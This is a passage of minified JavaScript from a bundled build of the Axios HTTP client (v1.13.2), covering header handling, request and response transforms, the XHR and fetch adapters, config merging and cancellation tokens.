t=e.indexOf(\"#\");-1!==t&&(e=e.slice(0,t)),e+=(-1===e.indexOf(\"?\")?\"?\":\"&\")+o}return e}class Me{constructor(){this.handlers=[]}use(e,t,n){return this.handlers.push({fulfilled:e,rejected:t,synchronous:!!n&&n.synchronous,runWhen:n?n.runWhen:null}),this.handlers.length-1}eject(e){this.handlers[e]&&(this.handlers[e]=null)}clear(){this.handlers&&(this.handlers=[])}forEach(e){fe.forEach(this.handlers,function(t){null!==t&&e(t)})}}var Ae=Me,De={silentJSONParsing:!0,forcedJSONParsing:!0,clarifyTimeoutError:!1},We=(n(4603),n(7566),n(8721),\"undefined\"!==typeof URLSearchParams?URLSearchParams:Te),Be=\"undefined\"!==typeof FormData?FormData:null,Pe=\"undefined\"!==typeof Blob?Blob:null,Ie={isBrowser:!0,classes:{URLSearchParams:We,FormData:Be,Blob:Pe},protocols:[\"http\",\"https\",\"file\",\"blob\",\"url\",\"data\"]};const Ne=\"undefined\"!==typeof window&&\"undefined\"!==typeof document,Le=\"object\"===typeof navigator&&navigator||void 0,je=Ne&&(!Le||[\"ReactNative\",\"NativeScript\",\"NS\"].indexOf(Le.product)\u003C0),Fe=(()=>\"undefined\"!==typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope&&\"function\"===typeof self.importScripts)(),Ve=Ne&&window.location.href||\"http:\u002F\u002Flocalhost\";var Ue={...r,...Ie};function Xe(e,t){return Ce(e,new Ue.classes.URLSearchParams,{visitor:function(e,t,n,r){return Ue.isNode&&fe.isBuffer(e)?(this.append(t,e.toString(\"base64\")),!1):r.defaultVisitor.apply(this,arguments)},...t})}function He(e){return fe.matchAll(\u002F\\w+|\\[(\\w*)]\u002Fg,e).map(e=>\"[]\"===e[0]?\"\":e[1]||e[0])}function Ge(e){const t={},n=Object.keys(e);let r;const a=n.length;let o;for(r=0;r\u003Ca;r++)o=n[r],t[o]=e[o];return t}function Ye(e){function t(e,n,r,a){let o=e[a++];if(\"__proto__\"===o)return!0;const i=Number.isFinite(+o),l=a>=e.length;if(o=!o&&fe.isArray(r)?r.length:o,l)return fe.hasOwnProp(r,o)?r[o]=[r[o],n]:r[o]=n,!i;r[o]&&fe.isObject(r[o])||(r[o]=[]);const s=t(e,n,r[o],a);return s&&fe.isArray(r[o])&&(r[o]=Ge(r[o])),!i}if(fe.isFormData(e)&&fe.isFunction(e.entries)){const n={};return fe.forEachEntry(e,(e,r)=>{t(He(e),r,n,0)}),n}return null}var ze=Ye;function Ke(e,t,n){if(fe.isString(e))try{return(t||JSON.parse)(e),fe.trim(e)}catch(r){if(\"SyntaxError\"!==r.name)throw r}return(n||JSON.stringify)(e)}const qe={transitional:De,adapter:[\"xhr\",\"http\",\"fetch\"],transformRequest:[function(e,t){const n=t.getContentType()||\"\",r=n.indexOf(\"application\u002Fjson\")>-1,a=fe.isObject(e);a&&fe.isHTMLForm(e)&&(e=new FormData(e));const o=fe.isFormData(e);if(o)return r?JSON.stringify(ze(e)):e;if(fe.isArrayBuffer(e)||fe.isBuffer(e)||fe.isStream(e)||fe.isFile(e)||fe.isBlob(e)||fe.isReadableStream(e))return e;if(fe.isArrayBufferView(e))return e.buffer;if(fe.isURLSearchParams(e))return t.setContentType(\"application\u002Fx-www-form-urlencoded;charset=utf-8\",!1),e.toString();let i;if(a){if(n.indexOf(\"application\u002Fx-www-form-urlencoded\")>-1)return Xe(e,this.formSerializer).toString();if((i=fe.isFileList(e))||n.indexOf(\"multipart\u002Fform-data\")>-1){const t=this.env&&this.env.FormData;return Ce(i?{\"files[]\":e}:e,t&&new t,this.formSerializer)}}return a||r?(t.setContentType(\"application\u002Fjson\",!1),Ke(e)):e}],transformResponse:[function(e){const t=this.transitional||qe.transitional,n=t&&t.forcedJSONParsing,r=\"json\"===this.responseType;if(fe.isResponse(e)||fe.isReadableStream(e))return e;if(e&&fe.isString(e)&&(n&&!this.responseType||r)){const n=t&&t.silentJSONParsing,o=!n&&r;try{return JSON.parse(e,this.parseReviver)}catch(a){if(o){if(\"SyntaxError\"===a.name)throw me.from(a,me.ERR_BAD_RESPONSE,this,null,this.response);throw a}}}return e}],timeout:0,xsrfCookieName:\"XSRF-TOKEN\",xsrfHeaderName:\"X-XSRF-TOKEN\",maxContentLength:-1,maxBodyLength:-1,env:{FormData:Ue.classes.FormData,Blob:Ue.classes.Blob},validateStatus:function(e){return e>=200&&e\u003C300},headers:{common:{Accept:\"application\u002Fjson, text\u002Fplain, *\u002F*\",\"Content-Type\":void 0}}};fe.forEach([\"delete\",\"get\",\"head\",\"post\",\"put\",\"patch\"],e=>{qe.headers[e]={}});var Qe=qe;const Ze=fe.toObjectSet([\"age\",\"authorization\",\"content-length\",\"content-type\",\"etag\",\"expires\",\"from\",\"host\",\"if-modified-since\",\"if-unmodified-since\",\"last-modified\",\"location\",\"max-forwards\",\"proxy-authorization\",\"referer\",\"retry-after\",\"user-agent\"]);var Je=e=>{const t={};let n,r,a;return e&&e.split(\"\\n\").forEach(function(e){a=e.indexOf(\":\"),n=e.substring(0,a).trim().toLowerCase(),r=e.substring(a+1).trim(),!n||t[n]&&Ze[n]||(\"set-cookie\"===n?t[n]?t[n].push(r):t[n]=[r]:t[n]=t[n]?t[n]+\", \"+r:r)}),t};const et=Symbol(\"internals\");function tt(e){return e&&String(e).trim().toLowerCase()}function nt(e){return!1===e||null==e?e:fe.isArray(e)?e.map(nt):String(e)}function rt(e){const t=Object.create(null),n=\u002F([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?\u002Fg;let r;while(r=n.exec(e))t[r[1]]=r[2];return t}const at=e=>\u002F^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$\u002F.test(e.trim());function ot(e,t,n,r,a){return fe.isFunction(r)?r.call(this,t,n):(a&&(t=n),fe.isString(t)?fe.isString(r)?-1!==t.indexOf(r):fe.isRegExp(r)?r.test(t):void 0:void 0)}function it(e){return e.trim().toLowerCase().replace(\u002F([a-z\\d])(\\w*)\u002Fg,(e,t,n)=>t.toUpperCase()+n)}function lt(e,t){const n=fe.toCamelCase(\" \"+t);[\"get\",\"set\",\"has\"].forEach(r=>{Object.defineProperty(e,r+n,{value:function(e,n,a){return this[r].call(this,t,e,n,a)},configurable:!0})})}class st{constructor(e){e&&this.set(e)}set(e,t,n){const r=this;function a(e,t,n){const a=tt(t);if(!a)throw new Error(\"header name must be a non-empty string\");const o=fe.findKey(r,a);(!o||void 0===r[o]||!0===n||void 0===n&&!1!==r[o])&&(r[o||t]=nt(e))}const o=(e,t)=>fe.forEach(e,(e,n)=>a(e,n,t));if(fe.isPlainObject(e)||e instanceof this.constructor)o(e,t);else if(fe.isString(e)&&(e=e.trim())&&!at(e))o(Je(e),t);else if(fe.isObject(e)&&fe.isIterable(e)){let n,r,a={};for(const t of e){if(!fe.isArray(t))throw TypeError(\"Object iterator must return a key-value pair\");a[r=t[0]]=(n=a[r])?fe.isArray(n)?[...n,t[1]]:[n,t[1]]:t[1]}o(a,t)}else null!=e&&a(t,e,n);return this}get(e,t){if(e=tt(e),e){const n=fe.findKey(this,e);if(n){const e=this[n];if(!t)return e;if(!0===t)return rt(e);if(fe.isFunction(t))return t.call(this,e,n);if(fe.isRegExp(t))return t.exec(e);throw new TypeError(\"parser must be boolean|regexp|function\")}}}has(e,t){if(e=tt(e),e){const n=fe.findKey(this,e);return!(!n||void 0===this[n]||t&&!ot(this,this[n],n,t))}return!1}delete(e,t){const n=this;let r=!1;function a(e){if(e=tt(e),e){const a=fe.findKey(n,e);!a||t&&!ot(n,n[a],a,t)||(delete n[a],r=!0)}}return fe.isArray(e)?e.forEach(a):a(e),r}clear(e){const t=Object.keys(this);let n=t.length,r=!1;while(n--){const a=t[n];e&&!ot(this,this[a],a,e,!0)||(delete this[a],r=!0)}return r}normalize(e){const t=this,n={};return fe.forEach(this,(r,a)=>{const o=fe.findKey(n,a);if(o)return t[o]=nt(r),void delete t[a];const i=e?it(a):String(a).trim();i!==a&&delete t[a],t[i]=nt(r),n[i]=!0}),this}concat(...e){return this.constructor.concat(this,...e)}toJSON(e){const t=Object.create(null);return fe.forEach(this,(n,r)=>{null!=n&&!1!==n&&(t[r]=e&&fe.isArray(n)?n.join(\", \"):n)}),t}[Symbol.iterator](){return Object.entries(this.toJSON())[Symbol.iterator]()}toString(){return Object.entries(this.toJSON()).map(([e,t])=>e+\": \"+t).join(\"\\n\")}getSetCookie(){return this.get(\"set-cookie\")||[]}get[Symbol.toStringTag](){return\"AxiosHeaders\"}static from(e){return e instanceof this?e:new this(e)}static concat(e,...t){const n=new this(e);return t.forEach(e=>n.set(e)),n}static accessor(e){const t=this[et]=this[et]={accessors:{}},n=t.accessors,r=this.prototype;function a(e){const t=tt(e);n[t]||(lt(r,e),n[t]=!0)}return fe.isArray(e)?e.forEach(a):a(e),this}}st.accessor([\"Content-Type\",\"Content-Length\",\"Accept\",\"Accept-Encoding\",\"User-Agent\",\"Authorization\"]),fe.reduceDescriptors(st.prototype,({value:e},t)=>{let n=t[0].toUpperCase()+t.slice(1);return{get:()=>e,set(e){this[n]=e}}}),fe.freezeMethods(st);var ut=st;function dt(e,t){const n=this||Qe,r=t||n,a=ut.from(r.headers);let o=r.data;return fe.forEach(e,function(e){o=e.call(n,o,a.normalize(),t?t.status:void 0)}),a.normalize(),o}function ct(e){return!(!e||!e.__CANCEL__)}function ft(e,t,n){me.call(this,null==e?\"canceled\":e,me.ERR_CANCELED,t,n),this.name=\"CanceledError\"}fe.inherits(ft,me,{__CANCEL__:!0});var pt=ft;function ht(e,t,n){const r=n.config.validateStatus;n.status&&r&&!r(n.status)?t(new me(\"Request failed with status code \"+n.status,[me.ERR_BAD_REQUEST,me.ERR_BAD_RESPONSE][Math.floor(n.status\u002F100)-4],n.config,n.request,n)):e(n)}function vt(e){const t=\u002F^([-+\\w]{1,25})(:?\\\u002F\\\u002F|:)\u002F.exec(e);return t&&t[1]||\"\"}function mt(e,t){e=e||10;const n=new Array(e),r=new Array(e);let a,o=0,i=0;return t=void 0!==t?t:1e3,function(l){const s=Date.now(),u=r[i];a||(a=s),n[o]=l,r[o]=s;let d=i,c=0;while(d!==o)c+=n[d++],d%=e;if(o=(o+1)%e,o===i&&(i=(i+1)%e),s-a\u003Ct)return;const f=u&&s-u;return f?Math.round(1e3*c\u002Ff):void 0}}var gt=mt;function yt(e,t){let n,r,a=0,o=1e3\u002Ft;const i=(t,o=Date.now())=>{a=o,n=null,r&&(clearTimeout(r),r=null),e(...t)},l=(...e)=>{const t=Date.now(),l=t-a;l>=o?i(e,t):(n=e,r||(r=setTimeout(()=>{r=null,i(n)},o-l)))},s=()=>n&&i(n);return[l,s]}var bt=yt;const $t=(e,t,n=3)=>{let r=0;const a=gt(50,250);return bt(n=>{const o=n.loaded,i=n.lengthComputable?n.total:void 0,l=o-r,s=a(l),u=o\u003C=i;r=o;const d={loaded:o,total:i,progress:i?o\u002Fi:void 0,bytes:l,rate:s||void 0,estimated:s&&i&&u?(i-o)\u002Fs:void 0,event:n,lengthComputable:null!=i,[t?\"download\":\"upload\"]:!0};e(d)},n)},wt=(e,t)=>{const n=null!=e;return[r=>t[0]({lengthComputable:n,total:e,loaded:r}),t[1]]},_t=e=>(...t)=>fe.asap(()=>e(...t));n(4979);var kt=Ue.hasStandardBrowserEnv?((e,t)=>n=>(n=new URL(n,Ue.origin),e.protocol===n.protocol&&e.host===n.host&&(t||e.port===n.port)))(new URL(Ue.origin),Ue.navigator&&\u002F(msie|trident)\u002Fi.test(Ue.navigator.userAgent)):()=>!0,Ct=Ue.hasStandardBrowserEnv?{write(e,t,n,r,a,o,i){if(\"undefined\"===typeof document)return;const l=[`${e}=${encodeURIComponent(t)}`];fe.isNumber(n)&&l.push(`expires=${new Date(n).toUTCString()}`),fe.isString(r)&&l.push(`path=${r}`),fe.isString(a)&&l.push(`domain=${a}`),!0===o&&l.push(\"secure\"),fe.isString(i)&&l.push(`SameSite=${i}`),document.cookie=l.join(\"; \")},read(e){if(\"undefined\"===typeof document)return null;const t=document.cookie.match(new RegExp(\"(?:^|; )\"+e+\"=([^;]*)\"));return t?decodeURIComponent(t[1]):null},remove(e){this.write(e,\"\",Date.now()-864e5,\"\u002F\")}}:{write(){},read(){return null},remove(){}};function xt(e){return\u002F^([a-z][a-z\\d+\\-.]*:)?\\\u002F\\\u002F\u002Fi.test(e)}function St(e,t){return t?e.replace(\u002F\\\u002F?\\\u002F$\u002F,\"\")+\"\u002F\"+t.replace(\u002F^\\\u002F+\u002F,\"\"):e}function Et(e,t,n){let r=!xt(t);return e&&(r||0==n)?St(e,t):t}const Tt=e=>e instanceof ut?{...e}:e;function Rt(e,t){t=t||{};const n={};function r(e,t,n,r){return fe.isPlainObject(e)&&fe.isPlainObject(t)?fe.merge.call({caseless:r},e,t):fe.isPlainObject(t)?fe.merge({},t):fe.isArray(t)?t.slice():t}function a(e,t,n,a){return fe.isUndefined(t)?fe.isUndefined(e)?void 0:r(void 0,e,n,a):r(e,t,n,a)}function o(e,t){if(!fe.isUndefined(t))return r(void 0,t)}function i(e,t){return fe.isUndefined(t)?fe.isUndefined(e)?void 0:r(void 0,e):r(void 0,t)}function l(n,a,o){return o in t?r(n,a):o in e?r(void 0,n):void 0}const s={url:o,method:o,data:o,baseURL:i,transformRequest:i,transformResponse:i,paramsSerializer:i,timeout:i,timeoutMessage:i,withCredentials:i,withXSRFToken:i,adapter:i,responseType:i,xsrfCookieName:i,xsrfHeaderName:i,onUploadProgress:i,onDownloadProgress:i,decompress:i,maxContentLength:i,maxBodyLength:i,beforeRedirect:i,transport:i,httpAgent:i,httpsAgent:i,cancelToken:i,socketPath:i,responseEncoding:i,validateStatus:l,headers:(e,t,n)=>a(Tt(e),Tt(t),n,!0)};return fe.forEach(Object.keys({...e,...t}),function(r){const o=s[r]||a,i=o(e[r],t[r],r);fe.isUndefined(i)&&o!==l||(n[r]=i)}),n}var Ot=e=>{const t=Rt({},e);let{data:n,withXSRFToken:r,xsrfHeaderName:a,xsrfCookieName:o,headers:i,auth:l}=t;if(t.headers=i=ut.from(i),t.url=Oe(Et(t.baseURL,t.url,t.allowAbsoluteUrls),e.params,e.paramsSerializer),l&&i.set(\"Authorization\",\"Basic \"+btoa((l.username||\"\")+\":\"+(l.password?unescape(encodeURIComponent(l.password)):\"\"))),fe.isFormData(n))if(Ue.hasStandardBrowserEnv||Ue.hasStandardBrowserWebWorkerEnv)i.setContentType(void 0);else if(fe.isFunction(n.getHeaders)){const e=n.getHeaders(),t=[\"content-type\",\"content-length\"];Object.entries(e).forEach(([e,n])=>{t.includes(e.toLowerCase())&&i.set(e,n)})}if(Ue.hasStandardBrowserEnv&&(r&&fe.isFunction(r)&&(r=r(t)),r||!1!==r&&kt(t.url))){const e=a&&o&&Ct.read(o);e&&i.set(a,e)}return t};const Mt=\"undefined\"!==typeof XMLHttpRequest;var At=Mt&&function(e){return new Promise(function(t,n){const r=Ot(e);let a=r.data;const o=ut.from(r.headers).normalize();let i,l,s,u,d,{responseType:c,onUploadProgress:f,onDownloadProgress:p}=r;function h(){u&&u(),d&&d(),r.cancelToken&&r.cancelToken.unsubscribe(i),r.signal&&r.signal.removeEventListener(\"abort\",i)}let v=new XMLHttpRequest;function m(){if(!v)return;const r=ut.from(\"getAllResponseHeaders\"in v&&v.getAllResponseHeaders()),a=c&&\"text\"!==c&&\"json\"!==c?v.response:v.responseText,o={data:a,status:v.status,statusText:v.statusText,headers:r,config:e,request:v};ht(function(e){t(e),h()},function(e){n(e),h()},o),v=null}v.open(r.method.toUpperCase(),r.url,!0),v.timeout=r.timeout,\"onloadend\"in v?v.onloadend=m:v.onreadystatechange=function(){v&&4===v.readyState&&(0!==v.status||v.responseURL&&0===v.responseURL.indexOf(\"file:\"))&&setTimeout(m)},v.onabort=function(){v&&(n(new me(\"Request aborted\",me.ECONNABORTED,e,v)),v=null)},v.onerror=function(t){const r=t&&t.message?t.message:\"Network Error\",a=new me(r,me.ERR_NETWORK,e,v);a.event=t||null,n(a),v=null},v.ontimeout=function(){let t=r.timeout?\"timeout of \"+r.timeout+\"ms exceeded\":\"timeout exceeded\";const a=r.transitional||De;r.timeoutErrorMessage&&(t=r.timeoutErrorMessage),n(new me(t,a.clarifyTimeoutError?me.ETIMEDOUT:me.ECONNABORTED,e,v)),v=null},void 0===a&&o.setContentType(null),\"setRequestHeader\"in v&&fe.forEach(o.toJSON(),function(e,t){v.setRequestHeader(t,e)}),fe.isUndefined(r.withCredentials)||(v.withCredentials=!!r.withCredentials),c&&\"json\"!==c&&(v.responseType=r.responseType),p&&([s,d]=$t(p,!0),v.addEventListener(\"progress\",s)),f&&v.upload&&([l,u]=$t(f),v.upload.addEventListener(\"progress\",l),v.upload.addEventListener(\"loadend\",u)),(r.cancelToken||r.signal)&&(i=t=>{v&&(n(!t||t.type?new pt(null,e,v):t),v.abort(),v=null)},r.cancelToken&&r.cancelToken.subscribe(i),r.signal&&(r.signal.aborted?i():r.signal.addEventListener(\"abort\",i)));const g=vt(r.url);g&&-1===Ue.protocols.indexOf(g)?n(new me(\"Unsupported protocol \"+g+\":\",me.ERR_BAD_REQUEST,e)):v.send(a||null)})};n(4520);const Dt=(e,t)=>{const{length:n}=e=e?e.filter(Boolean):[];if(t||n){let n,r=new AbortController;const a=function(e){if(!n){n=!0,i();const t=e instanceof Error?e:this.reason;r.abort(t instanceof me?t:new pt(t instanceof Error?t.message:t))}};let o=t&&setTimeout(()=>{o=null,a(new me(`timeout ${t} of ms exceeded`,me.ETIMEDOUT))},t);const i=()=>{e&&(o&&clearTimeout(o),o=null,e.forEach(e=>{e.unsubscribe?e.unsubscribe(a):e.removeEventListener(\"abort\",a)}),e=null)};e.forEach(e=>e.addEventListener(\"abort\",a));const{signal:l}=r;return l.unsubscribe=()=>fe.asap(i),l}};var Wt=Dt;const Bt=function*(e,t){let n=e.byteLength;if(!t||n\u003Ct)return void(yield e);let r,a=0;while(a\u003Cn)r=a+t,yield e.slice(a,r),a=r},Pt=async function*(e,t){for await(const n of It(e))yield*Bt(n,t)},It=async function*(e){if(e[Symbol.asyncIterator])return void(yield*e);const t=e.getReader();try{for(;;){const{done:e,value:n}=await t.read();if(e)break;yield n}}finally{await t.cancel()}},Nt=(e,t,n,r)=>{const a=Pt(e,t);let o,i=0,l=e=>{o||(o=!0,r&&r(e))};return new ReadableStream({async pull(e){try{const{done:t,value:r}=await a.next();if(t)return l(),void e.close();let o=r.byteLength;if(n){let e=i+=o;n(e)}e.enqueue(new Uint8Array(r))}catch(t){throw l(t),t}},cancel(e){return l(e),a.return()}},{highWaterMark:2})},Lt=65536,{isFunction:jt}=fe,Ft=(({Request:e,Response:t})=>({Request:e,Response:t}))(fe.global),{ReadableStream:Vt,TextEncoder:Ut}=fe.global,Xt=(e,...t)=>{try{return!!e(...t)}catch(n){return!1}},Ht=e=>{e=fe.merge.call({skipUndefined:!0},Ft,e);const{fetch:t,Request:n,Response:r}=e,a=t?jt(t):\"function\"===typeof fetch,o=jt(n),i=jt(r);if(!a)return!1;const l=a&&jt(Vt),s=a&&(\"function\"===typeof Ut?(e=>t=>e.encode(t))(new Ut):async e=>new Uint8Array(await new n(e).arrayBuffer())),u=o&&l&&Xt(()=>{let e=!1;const t=new n(Ue.origin,{body:new Vt,method:\"POST\",get duplex(){return e=!0,\"half\"}}).headers.has(\"Content-Type\");return e&&!t}),d=i&&l&&Xt(()=>fe.isReadableStream(new r(\"\").body)),c={stream:d&&(e=>e.body)};a&&(()=>{[\"text\",\"arrayBuffer\",\"blob\",\"formData\",\"stream\"].forEach(e=>{!c[e]&&(c[e]=(t,n)=>{let r=t&&t[e];if(r)return r.call(t);throw new me(`Response type '${e}' is not supported`,me.ERR_NOT_SUPPORT,n)})})})();const f=async e=>{if(null==e)return 0;if(fe.isBlob(e))return e.size;if(fe.isSpecCompliantForm(e)){const t=new n(Ue.origin,{method:\"POST\",body:e});return(await t.arrayBuffer()).byteLength}return fe.isArrayBufferView(e)||fe.isArrayBuffer(e)?e.byteLength:(fe.isURLSearchParams(e)&&(e+=\"\"),fe.isString(e)?(await s(e)).byteLength:void 0)},p=async(e,t)=>{const n=fe.toFiniteNumber(e.getContentLength());return null==n?f(t):n};return async e=>{let{url:a,method:i,data:l,signal:s,cancelToken:f,timeout:h,onDownloadProgress:v,onUploadProgress:m,responseType:g,headers:y,withCredentials:b=\"same-origin\",fetchOptions:$}=Ot(e),w=t||fetch;g=g?(g+\"\").toLowerCase():\"text\";let _=Wt([s,f&&f.toAbortSignal()],h),k=null;const C=_&&_.unsubscribe&&(()=>{_.unsubscribe()});let x;try{if(m&&u&&\"get\"!==i&&\"head\"!==i&&0!==(x=await p(y,l))){let e,t=new n(a,{method:\"POST\",body:l,duplex:\"half\"});if(fe.isFormData(l)&&(e=t.headers.get(\"content-type\"))&&y.setContentType(e),t.body){const[e,n]=wt(x,$t(_t(m)));l=Nt(t.body,Lt,e,n)}}fe.isString(b)||(b=b?\"include\":\"omit\");const t=o&&\"credentials\"in n.prototype,s={...$,signal:_,method:i.toUpperCase(),headers:y.normalize().toJSON(),body:l,duplex:\"half\",credentials:t?b:void 0};k=o&&new n(a,s);let f=await(o?w(k,$):w(a,s));const h=d&&(\"stream\"===g||\"response\"===g);if(d&&(v||h&&C)){const e={};[\"status\",\"statusText\",\"headers\"].forEach(t=>{e[t]=f[t]});const t=fe.toFiniteNumber(f.headers.get(\"content-length\")),[n,a]=v&&wt(t,$t(_t(v),!0))||[];f=new r(Nt(f.body,Lt,n,()=>{a&&a(),C&&C()}),e)}g=g||\"text\";let S=await c[fe.findKey(c,g)||\"text\"](f,e);return!h&&C&&C(),await new Promise((t,n)=>{ht(t,n,{data:S,headers:ut.from(f.headers),status:f.status,statusText:f.statusText,config:e,request:k})})}catch(S){if(C&&C(),S&&\"TypeError\"===S.name&&\u002FLoad failed|fetch\u002Fi.test(S.message))throw Object.assign(new me(\"Network Error\",me.ERR_NETWORK,e,k),{cause:S.cause||S});throw me.from(S,S&&S.code,e,k)}}},Gt=new Map,Yt=e=>{let t=e&&e.env||{};const{fetch:n,Request:r,Response:a}=t,o=[r,a,n];let i,l,s=o.length,u=s,d=Gt;while(u--)i=o[u],l=d.get(i),void 0===l&&d.set(i,l=u?new Map:Ht(t)),d=l;return l};Yt();const zt={http:ge,xhr:At,fetch:{get:Yt}};fe.forEach(zt,(e,t)=>{if(e){try{Object.defineProperty(e,\"name\",{value:t})}catch(n){}Object.defineProperty(e,\"adapterName\",{value:t})}});const Kt=e=>`- ${e}`,qt=e=>fe.isFunction(e)||null===e||!1===e;function Qt(e,t){e=fe.isArray(e)?e:[e];const{length:n}=e;let r,a;const o={};for(let i=0;i\u003Cn;i++){let n;if(r=e[i],a=r,!qt(r)&&(a=zt[(n=String(r)).toLowerCase()],void 0===a))throw new me(`Unknown adapter '${n}'`);if(a&&(fe.isFunction(a)||(a=a.get(t))))break;o[n||\"#\"+i]=a}if(!a){const e=Object.entries(o).map(([e,t])=>`adapter ${e} `+(!1===t?\"is not supported by the environment\":\"is not available in the build\"));let t=n?e.length>1?\"since :\\n\"+e.map(Kt).join(\"\\n\"):\" \"+Kt(e[0]):\"as no adapter specified\";throw new me(\"There is no suitable adapter to dispatch the request \"+t,\"ERR_NOT_SUPPORT\")}return a}var Zt={getAdapter:Qt,adapters:zt};function Jt(e){if(e.cancelToken&&e.cancelToken.throwIfRequested(),e.signal&&e.signal.aborted)throw new pt(null,e)}function en(e){Jt(e),e.headers=ut.from(e.headers),e.data=dt.call(e,e.transformRequest),-1!==[\"post\",\"put\",\"patch\"].indexOf(e.method)&&e.headers.setContentType(\"application\u002Fx-www-form-urlencoded\",!1);const t=Zt.getAdapter(e.adapter||Qe.adapter,e);return t(e).then(function(t){return Jt(e),t.data=dt.call(e,e.transformResponse,t),t.headers=ut.from(t.headers),t},function(t){return ct(t)||(Jt(e),t&&t.response&&(t.response.data=dt.call(e,e.transformResponse,t.response),t.response.headers=ut.from(t.response.headers))),Promise.reject(t)})}const tn=\"1.13.2\",nn={};[\"object\",\"boolean\",\"number\",\"function\",\"string\",\"symbol\"].forEach((e,t)=>{nn[e]=function(n){return typeof n===e||\"a\"+(t\u003C1?\"n \":\" \")+e}});const rn={};function an(e,t,n){if(\"object\"!==typeof e)throw new me(\"options must be an object\",me.ERR_BAD_OPTION_VALUE);const r=Object.keys(e);let a=r.length;while(a-- >0){const o=r[a],i=t[o];if(i){const t=e[o],n=void 0===t||i(t,o,e);if(!0!==n)throw new me(\"option \"+o+\" must be \"+n,me.ERR_BAD_OPTION_VALUE);continue}if(!0!==n)throw new me(\"Unknown option \"+o,me.ERR_BAD_OPTION)}}nn.transitional=function(e,t,n){function r(e,t){return\"[Axios v\"+tn+\"] Transitional option '\"+e+\"'\"+t+(n?\". \"+n:\"\")}return(n,a,o)=>{if(!1===e)throw new me(r(a,\" has been removed\"+(t?\" in \"+t:\"\")),me.ERR_DEPRECATED);return t&&!rn[a]&&(rn[a]=!0,console.warn(r(a,\" has been deprecated since v\"+t+\" and will be removed in the near future\"))),!e||e(n,a,o)}},nn.spelling=function(e){return(t,n)=>(console.warn(`${n} is likely a misspelling of ${e}`),!0)};var on={assertOptions:an,validators:nn};const ln=on.validators;class sn{constructor(e){this.defaults=e||{},this.interceptors={request:new Ae,response:new Ae}}async request(e,t){try{return await this._request(e,t)}catch(n){if(n instanceof Error){let e={};Error.captureStackTrace?Error.captureStackTrace(e):e=new Error;const t=e.stack?e.stack.replace(\u002F^.+\\n\u002F,\"\"):\"\";try{n.stack?t&&!String(n.stack).endsWith(t.replace(\u002F^.+\\n.+\\n\u002F,\"\"))&&(n.stack+=\"\\n\"+t):n.stack=t}catch(r){}}throw n}}_request(e,t){\"string\"===typeof e?(t=t||{},t.url=e):t=e||{},t=Rt(this.defaults,t);const{transitional:n,paramsSerializer:r,headers:a}=t;void 0!==n&&on.assertOptions(n,{silentJSONParsing:ln.transitional(ln.boolean),forcedJSONParsing:ln.transitional(ln.boolean),clarifyTimeoutError:ln.transitional(ln.boolean)},!1),null!=r&&(fe.isFunction(r)?t.paramsSerializer={serialize:r}:on.assertOptions(r,{encode:ln.function,serialize:ln.function},!0)),void 0!==t.allowAbsoluteUrls||(void 0!==this.defaults.allowAbsoluteUrls?t.allowAbsoluteUrls=this.defaults.allowAbsoluteUrls:t.allowAbsoluteUrls=!0),on.assertOptions(t,{baseUrl:ln.spelling(\"baseURL\"),withXsrfToken:ln.spelling(\"withXSRFToken\")},!0),t.method=(t.method||this.defaults.method||\"get\").toLowerCase();let o=a&&fe.merge(a.common,a[t.method]);a&&fe.forEach([\"delete\",\"get\",\"head\",\"post\",\"put\",\"patch\",\"common\"],e=>{delete a[e]}),t.headers=ut.concat(o,a);const i=[];let l=!0;this.interceptors.request.forEach(function(e){\"function\"===typeof e.runWhen&&!1===e.runWhen(t)||(l=l&&e.synchronous,i.unshift(e.fulfilled,e.rejected))});const s=[];let u;this.interceptors.response.forEach(function(e){s.push(e.fulfilled,e.rejected)});let d,c=0;if(!l){const e=[en.bind(this),void 0];e.unshift(...i),e.push(...s),d=e.length,u=Promise.resolve(t);while(c\u003Cd)u=u.then(e[c++],e[c++]);return u}d=i.length;let f=t;while(c\u003Cd){const e=i[c++],t=i[c++];try{f=e(f)}catch(p){t.call(this,p);break}}try{u=en.call(this,f)}catch(p){return Promise.reject(p)}c=0,d=s.length;while(c\u003Cd)u=u.then(s[c++],s[c++]);return u}getUri(e){e=Rt(this.defaults,e);const t=Et(e.baseURL,e.url,e.allowAbsoluteUrls);return Oe(t,e.params,e.paramsSerializer)}}fe.forEach([\"delete\",\"get\",\"head\",\"options\"],function(e){sn.prototype[e]=function(t,n){return this.request(Rt(n||{},{method:e,url:t,data:(n||{}).data}))}}),fe.forEach([\"post\",\"put\",\"patch\"],function(e){function t(t){return function(n,r,a){return this.request(Rt(a||{},{method:e,headers:t?{\"Content-Type\":\"multipart\u002Fform-data\"}:{},url:n,data:r}))}}sn.prototype[e]=t(),sn.prototype[e+\"Form\"]=t(!0)});var un=sn;class dn{constructor(e){if(\"function\"!==typeof e)throw new TypeError(\"executor must be a function.\");let t;this.promise=new Promise(function(e){t=e});const n=this;this.promise.then(e=>{if(!n._listeners)return;let t=n._listeners.length;while(t-- >0)n._listeners[t](e);n._listeners=null}),this.promise.then=e=>{let t;const r=new Promise(e=>{n.subscribe(e),t=e}).then(e);return r.cancel=function(){n.unsubscribe(t)},r},e(function(e,r,a){n.reason||(n.reason=new pt(e,r,a),t(n.reason))})}throwIfRequested(){if(this.reason)throw this.reason}subscribe(e){this.reason?e(this.reason):this._listeners?this._listeners.push(e):this._listeners=[e]}unsubscribe(e){if(!this._listeners)return;const t=this._listeners.indexOf(e);-1!==t&&this._listeners.splice(t,1)}toAbortSignal(){const e=new AbortController,t=t=>{e.abort(t)};return this.subscribe(t),e.signal.unsubscribe=()=>this.unsubscribe(t),e.signal}static source(){let e;const t=new dn(function(t){e=t});return{token:t,cancel:e}}}var cn=dn;function fn(e){return function(t){return e.apply(null,t)}}function pn(e){return fe.isObject(e)&&!0===e.isAxiosError}const 